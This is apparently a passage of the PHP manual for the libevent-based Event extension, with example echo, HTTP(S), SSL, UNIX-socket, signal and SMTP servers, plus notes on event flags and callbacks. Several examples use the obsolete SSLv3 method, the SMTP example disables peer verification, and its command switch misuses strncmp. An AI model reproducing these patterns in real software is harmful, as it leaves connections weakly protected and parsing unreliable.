        if ($events & EventBufferEvent::ERROR) {
            echo "DNS error: ", $bev->getDnsErrorString(), PHP_EOL;
        }

        echo "Closing\n";
        $base->exit();
        exit("Done\n");
    }
}

$base = new EventBase();

echo "step 1\n";
$bev = new EventBufferEvent($base, /* use internal socket */ NULL,
    EventBufferEvent::OPT_CLOSE_ON_FREE | EventBufferEvent::OPT_DEFER_CALLBACKS);
if (!$bev) {
    exit("Failed creating bufferevent socket\n");
}

echo "step 2\n";
$bev->setCallbacks("readcb", /* writecb */ NULL, "eventcb", $base);
$bev->enable(Event::READ | Event::WRITE);

echo "step 3\n";
// Send request
$output = $bev->getOutput();
if (!$output->add(
    "GET /index.cphp HTTP/1.0\r\n".
    "Connection: Close\r\n\r\n"
)) {
    exit("Failed adding request to output buffer\n");
}

/* Connect to the host syncronously.
We know the IP, and don't need to resolve DNS. */
if (!$bev->connect("127.0.0.1:80")) {
    exit("Can't connect to host\n");
}

// Dispatch pending events
$base->dispatch();
?>

例3 Echo server

<?php
/*
 * Simple echo server based on libevent's connection listener.
 *
 * Usage:
 * 1) In one terminal window run:
 *
 * $ php listener.php 9881
 *
 * 2) In another terminal window open up connection, e.g.:
 *
 * $ nc 127.0.0.1 9881
 *
 * 3) start typing. The server should repeat the input.
 */

class MyListenerConnection {
    private $bev, $base;

    public function __destruct() {
        $this->bev->free();
    }

    public function __construct($base, $fd) {
        $this->base = $base;

        $this->bev = new EventBufferEvent($base, $fd, EventBufferEvent::OPT_CLOSE_ON_FREE);

        $this->bev->setCallbacks(array($this, "echoReadCallback"), NULL,
            array($this, "echoEventCallback"), NULL);

        if (!$this->bev->enable(Event::READ)) {
            echo "Failed to enable READ\n";
            return;
        }
    }

    public function echoReadCallback($bev, $ctx) {
        // Copy all the data from the input buffer to the output buffer

        // Variant #1
        $bev->output->addBuffer($bev->input);

        /* Variant #2 */
        /*
        $input    = $bev->getInput();
        $output = $bev->getOutput();
        $output->addBuffer($input);
        */
    }

    public function echoEventCallback($bev, $events, $ctx) {
        if ($events & EventBufferEvent::ERROR) {
            echo "Error from bufferevent\n";
        }

        if ($events & (EventBufferEvent::EOF | EventBufferEvent::ERROR)) {
            //$bev->free();
            $this->__destruct();
        }
    }
}

class MyListener {
    public $base,
        $listener,
        $socket;
    private $conn = array();

    public function __destruct() {
        foreach ($this->conn as &$c) $c = NULL;
    }

    public function __construct($port) {
        $this->base = new EventBase();
        if (!$this->base) {
            echo "Couldn't open event base";
            exit(1);
        }

        // Variant #1
        /*
        $this->socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
        if (!socket_bind($this->socket, '0.0.0.0', $port)) {
            echo "Unable to bind socket\n";
            exit(1);
        }
        $this->listener = new EventListener($this->base,
            array($this, "acceptConnCallback"), $this->base,
            EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE,
            -1, $this->socket);
         */

        // Variant #2
         $this->listener = new EventListener($this->base,
             array($this, "acceptConnCallback"), $this->base,
             EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE, -1,
             "0.0.0.0:$port");

        if (!$this->listener) {
            echo "Couldn't create listener";
            exit(1);
        }

        $this->listener->setErrorCallback(array($this, "accept_error_cb"));
    }

    public function dispatch() {
        $this->base->dispatch();
    }

    // This callback is invoked when there is data to read on $bev
    public function acceptConnCallback($listener, $fd, $address, $ctx) {
        // We got a new connection! Set up a bufferevent for it. */
        $base = $this->base;
        $this->conn[] = new MyListenerConnection($base, $fd);
    }

    public function accept_error_cb($listener, $ctx) {
        $base = $this->base;

        fprintf(STDERR, "Got an error %d (%s) on the listener. "
            ."Shutting down.\n",
            EventUtil::getLastSocketErrno(),
            EventUtil::getLastSocketError());

        $base->exit(NULL);
    }
}

$port = 9808;

if ($argc > 1) {
    $port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
    exit("Invalid port");
}

$l = new MyListener($port);
$l->dispatch();
?>

例4 SSL echo server

<?php
/*
 * SSL echo server
 *
 * To test:
 * 1) Run:
 * $ php examples/ssl-echo-server/server.php 9998
 *
 * 2) in another terminal window run:
 * $ socat - SSL:127.0.0.1:9998,verify=1,cafile=examples/ssl-echo-server/cert.pem
 */

class MySslEchoServer {
    public $port,
        $base,
        $bev,
        $listener,
        $ctx;

    function __construct ($port, $host = "127.0.0.1") {
        $this->port = $port;
        $this->ctx = $this->init_ssl();
        if (!$this->ctx) {
            exit("Failed creating SSL context\n");
        }

        $this->base = new EventBase();
        if (!$this->base) {
            exit("Couldn't open event base\n");
        }

        $this->listener = new EventListener($this->base,
            array($this, "ssl_accept_cb"), $this->ctx,
            EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE,
            -1, "$host:$port");
        if (!$this->listener) {
            exit("Couldn't create listener\n");
        }

        $this->listener->setErrorCallback(array($this, "accept_error_cb"));
    }
    function dispatch() {
        $this->base->dispatch();
    }

    // This callback is invoked when there is data to read on $bev.
    function ssl_read_cb($bev, $ctx) {
        $in = $bev->input; //$bev->getInput();

        printf("Received %zu bytes\n", $in->length);
        printf("----- data ----\n");
        printf("%ld:\t%s\n", (int) $in->length, $in->pullup(-1));

        $bev->writeBuffer($in);
    }

    // This callback is invoked when some even occurs on the event listener,
    // e.g. connection closed, or an error occurred
    function ssl_event_cb($bev, $events, $ctx) {
        if ($events & EventBufferEvent::ERROR) {
            // Fetch errors from the SSL error stack
            while ($err = $bev->sslError()) {
                fprintf(STDERR, "Bufferevent error %s.\n", $err);
            }
        }

        if ($events & (EventBufferEvent::EOF | EventBufferEvent::ERROR)) {
            $bev->free();
        }
    }

    // This callback is invoked when a client accepts new connection
    function ssl_accept_cb($listener, $fd, $address, $ctx) {
        // We got a new connection! Set up a bufferevent for it.
        $this->bev = EventBufferEvent::sslSocket($this->base, $fd, $this->ctx,
            EventBufferEvent::SSL_ACCEPTING, EventBufferEvent::OPT_CLOSE_ON_FREE);

        if (!$this->bev) {
            echo "Failed creating ssl buffer\n";
            $this->base->exit(NULL);
            exit(1);
        }

        $this->bev->enable(Event::READ);
        $this->bev->setCallbacks(array($this, "ssl_read_cb"), NULL,
            array($this, "ssl_event_cb"), NULL);
    }

    // This callback is invoked when we failed to setup new connection for a client
    function accept_error_cb($listener, $ctx) {
        fprintf(STDERR, "Got an error %d (%s) on the listener. "
            ."Shutting down.\n",
            EventUtil::getLastSocketErrno(),
            EventUtil::getLastSocketError());

        $this->base->exit(NULL);
    }

    // Initialize SSL structures, create an EventSslContext
    // Optionally create self-signed certificates
    function init_ssl() {
        // We *must* have entropy. Otherwise there's no point to crypto.
        if (!EventUtil::sslRandPoll()) {
            exit("EventUtil::sslRandPoll failed\n");
        }

        $local_cert = __DIR__."/cert.pem";
        $local_pk   = __DIR__."/privkey.pem";

        if (!file_exists($local_cert) || !file_exists($local_pk)) {
            echo "Couldn't read $local_cert or $local_pk file.  To generate a key\n",
                "and self-signed certificate, run:\n",
                "  openssl genrsa -out $local_pk 2048\n",
                "  openssl req -new -key $local_pk -out cert.req\n",
                "  openssl x509 -req -days 365 -in cert.req -signkey $local_pk -out $local_cert\n";

            return FALSE;
        }

        $ctx = new EventSslContext(EventSslContext::SSLv3_SERVER_METHOD, array (
             EventSslContext::OPT_LOCAL_CERT  => $local_cert,
             EventSslContext::OPT_LOCAL_PK    => $local_pk,
             //EventSslContext::OPT_PASSPHRASE  => "echo server",
             EventSslContext::OPT_VERIFY_PEER => true,
             EventSslContext::OPT_ALLOW_SELF_SIGNED => false,
        ));

        return $ctx;
    }
}

// Allow to override the port
$port = 9999;
if ($argc > 1) {
    $port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
    exit("Invalid port\n");
}

$l = new MySslEchoServer($port);
$l->dispatch();
?>

例5 Signal handler

<?php
/*
Launch it in a terminal window:

$ php examples/signal.php

In another terminal window find out the pid and send SIGTERM, e.g.:

$ ps aux | grep examp
ruslan    3976  0.2  0.0 139896 11256 pts/1    S+   10:25   0:00 php examples/signal.php
ruslan    3978  0.0  0.0   9572   864 pts/2    S+   10:26   0:00 grep --color=auto examp
$ kill -TERM 3976

At the first terminal window you should catch the following:

Caught signal 15
*/
class MyEventSignal {
    private $base;

    function __construct($base) {
        $this->base = $base;
    }

    function eventSighandler($no, $c) {
        echo "Caught signal $no\n";
        event_base_loopexit($c->base);
    }
}

$base = event_base_new();
$c    = new MyEventSignal($base);
$no   = SIGTERM;
$ev   = evsignal_new($base, $no, array($c,'eventSighandler'), $c);

evsignal_add($ev);

event_base_loop($base);
?>

例6 Use libevent's loop to process requests of `eio' extension

<?php
// Callback for eio_nop()
function my_nop_cb($d, $r) {
    echo "step 6\n";
}

$dir = "/tmp/abc-eio-temp";
if (file_exists($dir)) {
    rmdir($dir);
}

echo "step 1\n";

$base = new EventBase();

echo "step 2\n";

eio_init();

eio_mkdir($dir, 0750, EIO_PRI_DEFAULT, "my_nop_cb");

$event = new Event($base, eio_get_event_stream(),
    Event::READ | Event::PERSIST, function ($fd, $events, $base) {
    echo "step 5\n";

    while (eio_nreqs()) {
        eio_poll();
    }

    $base->stop();
}, $base);

echo "step 3\n";

$event->add();

echo "step 4\n";

$base->dispatch();

echo "Done\n";
?>

例7 Miscellaneous

<?php
/* {{{ Config & supported stuff */
echo "Supported methods:\n";
foreach (Event::getSupportedMethods() as $m) {
    echo $m, PHP_EOL;
}

// Avoiding "select" method
$cfg = new EventConfig();
if ($cfg->avoidMethod("select")) {
    echo "`select' method avoided\n";
}

// Create event_base associated with the config
$base = new EventBase($cfg);
echo "Event method used: ", $base->getMethod(), PHP_EOL;

echo "Features:\n";
$features = $base->getFeatures();
($features & EventConfig::FEATURE_ET) and print("ET - edge-triggered IO\n");
($features & EventConfig::FEATURE_O1) and print("O1 - O(1) operation for adding/deletting events\n");
($features & EventConfig::FEATURE_FDS) and print("FDS - arbitrary file descriptor types, and not just sockets\n");

// Require FDS feature
if ($cfg->requireFeatures(EventConfig::FEATURE_FDS)) {
    echo "FDS feature is now requried\n";

    $base = new EventBase($cfg);
    ($base->getFeatures() & EventConfig::FEATURE_FDS)
        and print("FDS - arbitrary file descriptor types, and not just sockets\n");
}
/* }}} */

/* {{{ Base */
$base = new EventBase();
$event = new Event($base, STDIN, Event::READ | Event::PERSIST, function ($fd, $events, $arg) {
    static $max_iterations = 0;

    if (++$max_iterations >= 5) {
        /* exit after 5 iterations with timeout of 2.33 seconds */
        echo "Stopping...\n";
        $arg[0]->exit(2.33);
    }

    echo fgets($fd);
}, array (&$base));

$event->add();
$base->loop();
/* Base }}} */
?>

例8 Simple HTTP server

<?php
/*
 * Simple HTTP server.
 *
 * To test it:
 * 1) Run it on a port of your choice, e.g.:
 * $ php examples/http.php 8010
 * 2) In another terminal connect to some address on this port
 * and make GET or POST request(others are turned off here), e.g.:
 * $ nc -t 127.0.0.1 8010
 * POST /about HTTP/1.0
 * Content-Type: text/plain
 * Content-Length: 4
 * Connection: close
 * (press Enter)
 *
 * It will output
 * a=12
 * HTTP/1.0 200 OK
 * Content-Type: text/html; charset=ISO-8859-1
 * Connection: close
 *
 * $ nc -t 127.0.0.1 8010
 * GET /dump HTTP/1.0
 * Content-Type: text/plain
 * Content-Encoding: UTF-8
 * Connection: close
 * (press Enter)
 *
 * It will output:
 * HTTP/1.0 200 OK
 * Content-Type: text/html; charset=ISO-8859-1
 * Connection: close
 * (press Enter)
 *
 * $ nc -t 127.0.0.1 8010
 * GET /unknown HTTP/1.0
 * Connection: close
 *
 * It will output:
 * HTTP/1.0 200 OK
 * Content-Type: text/html; charset=ISO-8859-1
 * Connection: close
 *
 * 3) See what the server outputs on the previous terminal window.
 */

function _http_dump($req, $data) {
    static $counter      = 0;
    static $max_requests = 2;

    if (++$counter >= $max_requests)  {
        echo "Counter reached max requests $max_requests. Exiting\n";
        exit();
    }

    echo __METHOD__, " called\n";
    echo "request:"; var_dump($req);
    echo "data:"; var_dump($data);

    echo "\n===== DUMP =====\n";
    echo "Command:", $req->getCommand(), PHP_EOL;
    echo "URI:", $req->getUri(), PHP_EOL;
    echo "Input headers:"; var_dump($req->getInputHeaders());
    echo "Output headers:"; var_dump($req->getOutputHeaders());

    echo "\n >> Sending reply ...";
    $req->sendReply(200, "OK");
    echo "OK\n";

    echo "\n >> Reading input buffer ...\n";
    $buf = $req->getInputBuffer();
    while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
        echo $s, PHP_EOL;
    }
    echo "No more data in the buffer\n";
}

function _http_about($req) {
    echo __METHOD__, PHP_EOL;
    echo "URI: ", $req->getUri(), PHP_EOL;
    echo "\n >> Sending reply ...";
    $req->sendReply(200, "OK");
    echo "OK\n";
}

function _http_default($req, $data) {
    echo __METHOD__, PHP_EOL;
    echo "URI: ", $req->getUri(), PHP_EOL;
    echo "\n >> Sending reply ...";
    $req->sendReply(200, "OK");
    echo "OK\n";
}

$port = 8010;
if ($argc > 1) {
    $port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
    exit("Invalid port");
}

$base = new EventBase();
$http = new EventHttp($base);
$http->setAllowedMethods(EventHttpRequest::CMD_GET | EventHttpRequest::CMD_POST);

$http->setCallback("/dump", "_http_dump", array(4, 8));
$http->setCallback("/about", "_http_about");
$http->setDefaultCallback("_http_default", "custom data value");

$http->bind("0.0.0.0", 8010);
$base->loop();
?>

上の例の出力は、 たとえば以下のようになります。

a=12
HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close
(press Enter)

HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

例9 Simple HTTPS server

<?php
/*
 * Simple HTTPS server.
 *
 * 1) Run the server: `php examples/https.php 9999`
 * 2) Test it: `php examples/ssl-connection.php 9999`
 */

function _http_dump($req, $data) {
    static $counter      = 0;
    static $max_requests = 200;

    if (++$counter >= $max_requests)  {
        echo "Counter reached max requests $max_requests. Exiting\n";
        exit();
    }

    echo __METHOD__, " called\n";
    echo "request:"; var_dump($req);
    echo "data:"; var_dump($data);

    echo "\n===== DUMP =====\n";
    echo "Command:", $req->getCommand(), PHP_EOL;
    echo "URI:", $req->getUri(), PHP_EOL;
    echo "Input headers:"; var_dump($req->getInputHeaders());
    echo "Output headers:"; var_dump($req->getOutputHeaders());

    echo "\n >> Sending reply ...";
    $req->sendReply(200, "OK");
    echo "OK\n";

    $buf = $req->getInputBuffer();
    echo "\n >> Reading input buffer (", $buf->length, ") ...\n";
    while ($s = $buf->read(1024)) {
        echo $s;
    }
    echo "\nNo more data in the buffer\n";
}

function _http_about($req) {
    echo __METHOD__, PHP_EOL;
    echo "URI: ", $req->getUri(), PHP_EOL;
    echo "\n >> Sending reply ...";
    $req->sendReply(200, "OK");
    echo "OK\n";
}

function _http_default($req, $data) {
    echo __METHOD__, PHP_EOL;
    echo "URI: ", $req->getUri(), PHP_EOL;
    echo "\n >> Sending reply ...";
    $req->sendReply(200, "OK");
    echo "OK\n";
}

function _http_400($req) {
    $req->sendError(400);
}

function _init_ssl() {
    $local_cert = __DIR__."/ssl-echo-server/cert.pem";
    $local_pk   = __DIR__."/ssl-echo-server/privkey.pem";

    $ctx = new EventSslContext(EventSslContext::SSLv3_SERVER_METHOD, array (
        EventSslContext::OPT_LOCAL_CERT  => $local_cert,
        EventSslContext::OPT_LOCAL_PK    => $local_pk,
        //EventSslContext::OPT_PASSPHRASE  => "test",
        EventSslContext::OPT_ALLOW_SELF_SIGNED => true,
    ));

    return $ctx;
}

$port = 9999;
if ($argc > 1) {
    $port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
    exit("Invalid port");
}
$ip = '0.0.0.0';

$base = new EventBase();
$ctx  = _init_ssl();
$http = new EventHttp($base, $ctx);
$http->setAllowedMethods(EventHttpRequest::CMD_GET | EventHttpRequest::CMD_POST);

$http->setCallback("/dump", "_http_dump", array(4, 8));
$http->setCallback("/about", "_http_about");
$http->setCallback("/err400", "_http_400");
$http->setDefaultCallback("_http_default", "custom data value");

$http->bind($ip, $port);
$base->dispatch();

例10 OpenSSL connection

<?php
/*
 * Sample OpenSSL client.
 *
 * Usage:
 * 1) Launch a server, e.g.:
 * $ php examples/https.php 9999
 *
 * 2) Launch the client in another terminal:
 * $ php examples/ssl-connection.php 9999
 */

function _request_handler($req, $base) {
    echo __FUNCTION__, PHP_EOL;

    if (is_null($req)) {
        echo "Timed out\n";
    } else {
        $response_code = $req->getResponseCode();

        if ($response_code == 0) {
            echo "Connection refused\n";
        } elseif ($response_code != 200) {
            echo "Unexpected response: $response_code\n";
        } else {
            echo "Success: $response_code\n";
            $buf = $req->getInputBuffer();
            echo "Body:\n";
            while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
                echo $s, PHP_EOL;
            }
        }
    }

    $base->exit(NULL);
}

function _init_ssl() {
    $ctx = new EventSslContext(EventSslContext::SSLv3_CLIENT_METHOD, array ());

    return $ctx;
}

// Allow to override the port
$port = 9999;
if ($argc > 1) {
    $port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
    exit("Invalid port\n");
}
$host = '127.0.0.1';

$ctx = _init_ssl();
if (!$ctx) {
    trigger_error("Failed creating SSL context", E_USER_ERROR);
}

$base = new EventBase();
if (!$base) {
    trigger_error("Failed to initialize event base", E_USER_ERROR);
}

$conn = new EventHttpConnection($base, NULL, $host, $port, $ctx);
$conn->setTimeout(50);

$req = new EventHttpRequest("_request_handler", $base);
$req->addHeader("Host", $host, EventHttpRequest::OUTPUT_HEADER);
$buf = $req->getOutputBuffer();
$buf->add("<html>HTML TEST</html>");
//$req->addHeader("Content-Length", $buf->length, EventHttpRequest::OUTPUT_HEADER);
//$req->addHeader("Connection", "close", EventHttpRequest::OUTPUT_HEADER);
$conn->makeRequest($req, EventHttpRequest::CMD_POST, "/dump");

$base->dispatch();
echo "END\n";
?>

例11 EventHttpConnection::makeRequest() example

<?php
function _request_handler($req, $base) {
    echo __FUNCTION__, PHP_EOL;

    if (is_null($req)) {
        echo "Timed out\n";
    } else {
        $response_code = $req->getResponseCode();

        if ($response_code == 0) {
            echo "Connection refused\n";
        } elseif ($response_code != 200) {
            echo "Unexpected response: $response_code\n";
        } else {
            echo "Success: $response_code\n";
            $buf = $req->getInputBuffer();
            echo "Body:\n";
            while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
                echo $s, PHP_EOL;
            }
        }
    }

    $base->exit(NULL);
}

$address = "127.0.0.1";
$port = 80;

$base = new EventBase();
$conn = new EventHttpConnection($base, NULL, $address, $port);
$conn->setTimeout(5);
$req = new EventHttpRequest("_request_handler", $base);

$req->addHeader("Host", $address, EventHttpRequest::OUTPUT_HEADER);
$req->addHeader("Content-Length", "0", EventHttpRequest::OUTPUT_HEADER);
$conn->makeRequest($req, EventHttpRequest::CMD_GET, "/index.cphp");

$base->loop();
?>

上の例の出力は、 たとえば以下のようになります。

_request_handler
Success: 200
Body:
PHP, date:
2013-03-13T20:27:52+05:00

例12 Connection listener based on a UNIX domain socket

<?php
/*
 * Simple echo server based on libevent's connection listener.
 *
 * Usage:
 * 1) In one terminal window run:
 *
 * $ php unix-domain-listener.php [path-to-socket]
 *
 * 2) In another terminal window open up connection
 * to the socket, e.g.:
 *
 * $ socat - GOPEN:/tmp/1.sock
 *
 * 3) Start typing. The server should repeat the input.
 */

class MyListenerConnection {
    private $bev, $base;

    public function __destruct() {
        if ($this->bev) {
            $this->bev->free();
        }
    }

    public function __construct($base, $fd) {
        $this->base = $base;

        $this->bev = new EventBufferEvent($base, $fd, EventBufferEvent::OPT_CLOSE_ON_FREE);

        $this->bev->setCallbacks(array($this, "echoReadCallback"), NULL,
            array($this, "echoEventCallback"), NULL);

        if (!$this->bev->enable(Event::READ)) {
            echo "Failed to enable READ\n";
            return;
        }
    }

    public function echoReadCallback($bev, $ctx) {
        // Copy all the data from the input buffer to the output buffer
        $bev->output->addBuffer($bev->input);
    }

    public function echoEventCallback($bev, $events, $ctx) {
        if ($events & EventBufferEvent::ERROR) {
            echo "Error from bufferevent\n";
        }

        if ($events & (EventBufferEvent::EOF | EventBufferEvent::ERROR)) {
            $bev->free();
            $bev = NULL;
        }
    }
}

class MyListener {
    public $base,
        $listener,
        $socket;
    private $conn = array();

    public function __destruct() {
        foreach ($this->conn as &$c) $c = NULL;
    }

    public function __construct($sock_path) {
        $this->base = new EventBase();
        if (!$this->base) {
            echo "Couldn't open event base";
            exit(1);
        }

        if (file_exists($sock_path)) {
            unlink($sock_path);
        }

         $this->listener = new EventListener($this->base,
             array($this, "acceptConnCallback"), $this->base,
             EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE, -1,
             "unix:$sock_path");

        if (!$this->listener) {
            trigger_error("Couldn't create listener", E_USER_ERROR);
        }

        $this->listener->setErrorCallback(array($this, "accept_error_cb"));
    }

    public function dispatch() {
        $this->base->dispatch();
    }

    // This callback is invoked when there is data to read on $bev
    public function acceptConnCallback($listener, $fd, $address, $ctx) {
        // We got a new connection! Set up a bufferevent for it. */
        $base = $this->base;
        $this->conn[] = new MyListenerConnection($base, $fd);
    }

    public function accept_error_cb($listener, $ctx) {
        $base = $this->base;

        fprintf(STDERR, "Got an error %d (%s) on the listener. "
            ."Shutting down.\n",
            EventUtil::getLastSocketErrno(),
            EventUtil::getLastSocketError());

        $base->exit(NULL);
    }
}

if ($argc <= 1) {
    exit("Socket path is not provided\n");
}
$sock_path = $argv[1];

$l = new MyListener($sock_path);
$l->dispatch();
?>

例13 Simple SMTP server

<?php
 /*
 * Author: Andrew Rose <hello at andrewrose dot co dot uk>
 *
 * Usage:
 * 1) Prepare cert.pem certificate and privkey.pem private key files.
 * 2) Launch the server script
 * 3) Open TLS connection, e.g.:
 *      $ openssl s_client -connect localhost:25 -starttls smtp -crlf
 * 4) Start testing the commands listed in `cmd` method below.
 */

class Handler {
    public $domainName = FALSE;
    public $connections = [];
    public $buffers = [];
    public $maxRead = 256000;

    public function __construct() {
        $this->ctx = new EventSslContext(EventSslContext::SSLv3_SERVER_METHOD, [
            EventSslContext::OPT_LOCAL_CERT  => 'cert.pem',
            EventSslContext::OPT_LOCAL_PK    => 'privkey.pem',
            //EventSslContext::OPT_PASSPHRASE  => '',
            EventSslContext::OPT_VERIFY_PEER => false, // change to true with authentic cert
            EventSslContext::OPT_ALLOW_SELF_SIGNED => true // change to false with authentic cert
        ]);

        $this->base = new EventBase();
        if (!$this->base) {
            exit("Couldn't open event base\n");
        }

        if (!$this->listener = new EventListener($this->base,
            [$this, 'ev_accept'],
            $this->ctx,
            EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE,
            -1,
            '0.0.0.0:25'))
        {
            exit("Couldn't create listener\n");
        }

        $this->listener->setErrorCallback([$this, 'ev_error']);
        $this->base->dispatch();
    }

    public function ev_accept($listener, $fd, $address, $ctx) {
        static $id = 0;
        $id += 1;

        $this->connections[$id]['clientData'] = '';
        $this->connections[$id]['cnx'] = new EventBufferEvent($this->base, $fd,
            EventBufferEvent::OPT_CLOSE_ON_FREE);

        if (!$this->connections[$id]['cnx']) {
            echo "Failed creating buffer\n";
            $this->base->exit(NULL);
            exit(1);
        }

        $this->connections[$id]['cnx']->setCallbacks([$this, "ev_read"], NULL,
            [$this, 'ev_error'], $id);
        $this->connections[$id]['cnx']->enable(Event::READ | Event::WRITE);

        $this->ev_write($id, '220 '.$this->domainName." wazzzap?\r\n");
    }

    function ev_error($listener, $ctx) {
        $errno = EventUtil::getLastSocketErrno();

        fprintf(STDERR, "Got an error %d (%s) on the listener. Shutting down.\n",
            $errno, EventUtil::getLastSocketError());

        if ($errno != 0) {
            $this->base->exit(NULL);
            exit();
        }
    }

    public function ev_close($id) {
        $this->connections[$id]['cnx']->disable(Event::READ | Event::WRITE);
        unset($this->connections[$id]);
    }

    protected function ev_write($id, $string) {
        echo 'S('.$id.'): '.$string;
        $this->connections[$id]['cnx']->write($string);
    }

    public function ev_read($buffer, $id) {
        while($buffer->input->length > 0) {
            $this->connections[$id]['clientData'] .= $buffer->input->read($this->maxRead);
            $clientDataLen = strlen($this->connections[$id]['clientData']);

            if($this->connections[$id]['clientData'][$clientDataLen-1] == "\n"
                && $this->connections[$id]['clientData'][$clientDataLen-2] == "\r")
            {
                // remove the trailing \r\n
                $line = substr($this->connections[$id]['clientData'], 0,
                    strlen($this->connections[$id]['clientData']) - 2);

                $this->connections[$id]['clientData'] = '';
                $this->cmd($buffer, $id, $line);
            }
        }
    }

    protected function cmd($buffer, $id, $line) {
        switch ($line) {
            case strncmp('EHLO ', $line, 4):
                $this->ev_write($id, "250-STARTTLS\r\n");
                $this->ev_write($id, "250 OK ehlo\r\n");
                break;

            case strncmp('HELO ', $line, 4):
                $this->ev_write($id, "250-STARTTLS\r\n");
                $this->ev_write($id, "250 OK helo\r\n");
                break;

            case strncmp('QUIT', $line, 3):
                $this->ev_write($id, "250 OK quit\r\n");
                $this->ev_close($id);
                break;

            case strncmp('STARTTLS', $line, 3):
                $this->ev_write($id, "220 Ready to start TLS\r\n");
                $this->connections[$id]['cnx'] = EventBufferEvent::sslFilter($this->base,
                    $this->connections[$id]['cnx'], $this->ctx,
                    EventBufferEvent::SSL_ACCEPTING,
                    EventBufferEvent::OPT_CLOSE_ON_FREE);
                $this->connections[$id]['cnx']->setCallbacks([$this, "ev_read"], NULL, [$this, 'ev_error'], $id);
                $this->connections[$id]['cnx']->enable(Event::READ | Event::WRITE);
                break;

            default:
                echo 'unknown command: '.$line."\n";
                break;
        }
    }
}

new Handler();

User Contributed Notes

Bas Vijfwinkel 26-Jun-2015 09:17
In order to use certain features used in the examples above here you need a very recent version of libevent (>= 2.1).
Although 'pecl install event' will not show any errors, certain features are disabled and certain function calls might use a different number of parameters.
For example EventHttp will throw a warning that the number of parameters should be 1 instead of 2 (when using it with a SSL context) and as a bonus cause a segmentation fault.

On some distributions of Linux, the stable libevent library might not be recent enough for all features to be enabled and you might need to use an alpha version.

You can install an alpha version of libevent next to the stable version that might already be on your machine.
The basic steps are:
- download the alpha tarball to a folder e.g libevent-2.1.3-alpha.tar.gz
- tar zxvf libevent-2.1.3-alpha.tar.gz
- cd libevent-2.1.3-alpha
- ./configure --prefix=/opt/libevent-alpha
- make
- make install

Now the alpha version of libevent is created in /opt/libevent-alpha.

Before running pecl, first export the library folder of libevent so that pecl knows where your most recent libevent stuff is:
export LD_LIBRARY_PATH=/opt/libevent-2.1.3-alpha/lib
Without this export I couldn't get pecl to use the correct libevent

Now run 'pecl install event'
and when asked libevent installation prefix [/usr] :
enter :  /opt/libevent-2.1.3-alpha
Now pecl will use your alpha version of libevent instead of the default version.

If everything goes well then you should be able to enjoy the full glory of this wonderfull extension.

If you try to install a very recent version of libevent on a system with a  old version of openssl (0.9), you also need to update that because there are some dependencies in libevent that do not work with 0.9


Event flags

Event::READ This flag indicates an event that becomes active when the provided file descriptor (usually a stream resource, or socket) is ready for reading.

Event::WRITE flag indicates an event that becomes active when the provided file descriptor (usually a stream resource, or socket) is ready for writing.

Event::SIGNAL used to implement signal detection. See "Constructing signal events" below.

Event::TIMEOUT indicates an event that becomes active after a timeout elapses. The Event::TIMEOUT flag is ignored when constructing an event: one can either set a timeout when event is added , or not. It is set in the $what argument to the callback function when a timeout has occurred.

See also » Fast portable non-blocking network programming with Libevent, Working with events, Event flags

User Contributed Notes

There are no user contributed notes for this page.


About event persistence

By default, whenever a pending event becomes active (because its file descriptor is ready to read or write, or because its timeout expires), it becomes non-pending right before its callback is executed. Thus, to make the event pending again one may call Event::add() on it again from inside the callback function.

If the Event::PERSIST flag is set on an event, however, the event is persistent . This means that event remains pending even when its callback is activated. Event::del() method can be called to make it non-pending.

The timeout on a persistent event resets whenever the event's callback runs. Thus, if one has an event with flags Event::READ | Event::PERSIST and a timeout of five seconds, the event will become active:

  1. Whenever the socket or file descriptor is ready for reading.

  2. Whenever five seconds have passed since the event last became active.

See also » Fast portable non-blocking network programming with Libevent, About Event Persistence

User Contributed Notes

There are no user contributed notes for this page.


Event callbacks

If a callback is registered for an event, it will be called when the event becomes active. To associate a callback with event one can pass a callable to either Event::__construct() , or Event::set() , or one of the factory methods like Event::timer() .

An event callback should match the following prototype:

callback ( mixed $fd = null , int $what = ? , mixed $arg = null ) : void

fd

The file descriptor, stream resource or socket associated with the event. For signal event fd is equal to the signal number.

what

Bit mask of all events triggered.

arg

User custom data.

Event::timer() expects the callback to match the following prototype:

callback ( mixed $arg = null ) : void

arg

User custom data.

Event::signal() expects the callback to match the following prototype:

callback ( int $signum = ? , mixed $arg = null ) : void

signum

The number of the triggered signal(e.g. SIGTERM ).

arg

User custom data.

User Contributed Notes

xilon dot jul at gmail dot com 27-May-2013 03:23
For event timers, the callback prototype is equivalent to sockets related callback. User arguments are given as the third parameter.

This has been tested under : Event version 1.6.1


Constructing signal events

Event can also watch for POSIX-style signals. To construct a handler for a signal, use Event::__construct() constructor with Event::SIGNAL flag, or Event::signal() factory method.

例1 Handling SIGTERM signal

<?php
/*
Launch it in a terminal window:

$ php examples/signal.php

In another terminal window find out the pid and send SIGTERM, e.g.:

$ ps aux | grep examp
ruslan    3976  0.2  0.0 139896 11256 pts/1    S+   10:25   0:00 php examples/signal.php
ruslan    3978  0.0  0.0   9572   864 pts/2    S+   10:26   0:00 grep --color=auto examp
$ kill -TERM 3976

At the first terminal window you should catch the following:

Caught signal 15
*/
class MyEventSignal {
    private $base, $ev;

    public function __construct($base) {
        $this->base = $base;
        $this->ev = Event::signal($base, SIGTERM, array($this, 'eventSighandler'));
        $this->ev->add();
    }

    public function eventSighandler($no, $c) {
        echo "Caught signal $no\n";
        $this->base->exit();
    }
}

$base = new EventBase();
$c    = new MyEventSignal($base);

$base->loop();
?>

